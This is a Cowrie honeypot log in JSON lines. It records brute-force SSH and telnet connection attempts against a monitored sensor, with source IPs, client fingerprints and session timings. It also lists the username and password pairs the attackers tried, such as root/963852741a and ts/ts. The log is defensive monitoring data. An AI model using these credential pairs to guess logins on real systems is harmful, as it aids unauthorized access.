{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46720,"dst_ip":"159.203.135.109","dst_port":23,"session":"e57159b2d1ba","protocol":"telnet","message":"New connection: 170.64.224.25:46720 (159.203.135.109:23) [session: e57159b2d1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:12.575531Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33022,"dst_ip":"159.203.135.109","dst_port":23,"session":"984215eb8a8e","protocol":"telnet","message":"New connection: 170.64.224.25:33022 (159.203.135.109:23) [session: 984215eb8a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:17.953110Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33032,"dst_ip":"159.203.135.109","dst_port":23,"session":"4520f4daea9a","protocol":"telnet","message":"New connection: 170.64.224.25:33032 (159.203.135.109:23) [session: 4520f4daea9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:27.819306Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"2076e3062c25","protocol":"ssh","message":"New connection: 8.210.75.243:44472 (10.17.0.5:22) [session: 2076e3062c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:30.725991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:30.730451Z","src_ip":"8.210.75.243","session":"2076e3062c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60528,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4506c107c2","protocol":"telnet","message":"New connection: 170.64.224.25:60528 (159.203.135.109:23) [session: 2a4506c107c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:40.929744Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36886,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aa3f84cfdd0","protocol":"ssh","message":"New connection: 103.176.20.57:36886 (159.203.135.109:22) [session: 9aa3f84cfdd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:41.217742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:41.224792Z","src_ip":"103.176.20.57","session":"9aa3f84cfdd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:41.475483Z","src_ip":"103.176.20.57","session":"9aa3f84cfdd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963852741a","message":"login attempt [root/963852741a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:42.224535Z","src_ip":"103.176.20.57","session":"9aa3f84cfdd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:43.475205Z","src_ip":"103.176.20.57","session":"9aa3f84cfdd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":50124,"dst_ip":"10.17.0.5","dst_port":22,"session":"1157e3ea2696","protocol":"ssh","message":"New connection: 162.215.213.210:50124 (10.17.0.5:22) [session: 1157e3ea2696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:43.704908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:43.708755Z","src_ip":"162.215.213.210","session":"1157e3ea2696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:43.790267Z","src_ip":"162.215.213.210","session":"1157e3ea2696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uni","password":"uni123","message":"login attempt [uni/uni123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:44.042349Z","src_ip":"162.215.213.210","session":"1157e3ea2696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:47.706977Z","src_ip":"162.215.213.210","session":"1157e3ea2696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":57486,"dst_ip":"159.203.135.109","dst_port":22,"session":"0de64046502d","protocol":"ssh","message":"New connection: 190.244.39.224:57486 (159.203.135.109:22) [session: 0de64046502d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:51.299422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:51.308509Z","src_ip":"190.244.39.224","session":"0de64046502d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:51.490725Z","src_ip":"190.244.39.224","session":"0de64046502d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdrubale","message":"login attempt [root/asdrubale] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:52.230220Z","src_ip":"190.244.39.224","session":"0de64046502d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:53.413921Z","src_ip":"190.244.39.224","session":"0de64046502d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56480,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3b36f9bdae8","protocol":"ssh","message":"New connection: 8.210.75.243:56480 (10.17.0.5:22) [session: a3b36f9bdae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:55.056874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:57.148691Z","src_ip":"8.210.75.243","session":"a3b36f9bdae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.116.101.220","src_port":60570,"dst_ip":"159.203.135.109","dst_port":22,"session":"d681eac8fa0a","protocol":"ssh","message":"New connection: 18.116.101.220:60570 (159.203.135.109:22) [session: d681eac8fa0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:57.600303Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:57.603473Z","src_ip":"18.116.101.220","session":"d681eac8fa0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:57.605727Z","src_ip":"18.116.101.220","session":"d681eac8fa0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.76167559623718,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:58.714668Z","src_ip":"170.64.224.25","session":"984215eb8a8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:59.137338Z","src_ip":"8.210.75.243","session":"b69fa7cc6013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49118,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa015e6975c5","protocol":"telnet","message":"New connection: 170.64.224.25:49118 (159.203.135.109:23) [session: aa015e6975c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:01.786074Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:02.210407Z","src_ip":"8.210.75.243","session":"a3b36f9bdae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.270289182662964,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:05.845667Z","src_ip":"170.64.224.25","session":"e57159b2d1ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.210954427719116,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:12.030160Z","src_ip":"170.64.224.25","session":"4520f4daea9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40660,"dst_ip":"10.17.0.5","dst_port":22,"session":"725110a02648","protocol":"ssh","message":"New connection: 109.237.96.109:40660 (10.17.0.5:22) [session: 725110a02648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:12.931079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:12.934935Z","src_ip":"109.237.96.109","session":"725110a02648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:12.979190Z","src_ip":"8.210.75.243","session":"a3b36f9bdae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:13.029032Z","src_ip":"109.237.96.109","session":"725110a02648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160780","message":"login attempt [root/160780] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:13.310011Z","src_ip":"109.237.96.109","session":"725110a02648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:14.405699Z","src_ip":"109.237.96.109","session":"725110a02648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:22.802865Z","src_ip":"8.210.75.243","session":"63d2f642c8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.3","message":"Connection lost after 30.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:25.314600Z","src_ip":"8.210.75.243","session":"a3b36f9bdae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":59572,"dst_ip":"10.17.0.5","dst_port":22,"session":"73a96e52910d","protocol":"ssh","message":"New connection: 194.36.147.215:59572 (10.17.0.5:22) [session: 73a96e52910d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:34.110620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:34.114539Z","src_ip":"194.36.147.215","session":"73a96e52910d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:34.203244Z","src_ip":"194.36.147.215","session":"73a96e52910d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kraken456","message":"login attempt [root/kraken456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:34.472024Z","src_ip":"194.36.147.215","session":"73a96e52910d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:35.565726Z","src_ip":"194.36.147.215","session":"73a96e52910d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.06640315055847,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:35.996005Z","src_ip":"170.64.224.25","session":"2a4506c107c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":34692,"dst_ip":"159.203.135.109","dst_port":22,"session":"889065011ca6","protocol":"ssh","message":"New connection: 192.169.244.109:34692 (159.203.135.109:22) [session: 889065011ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:36.452818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:36.457798Z","src_ip":"192.169.244.109","session":"889065011ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:36.521859Z","src_ip":"192.169.244.109","session":"889065011ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zil","password":"zil123","message":"login attempt [zil/zil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:36.718314Z","src_ip":"192.169.244.109","session":"889065011ca6","protocol":"ssh"}
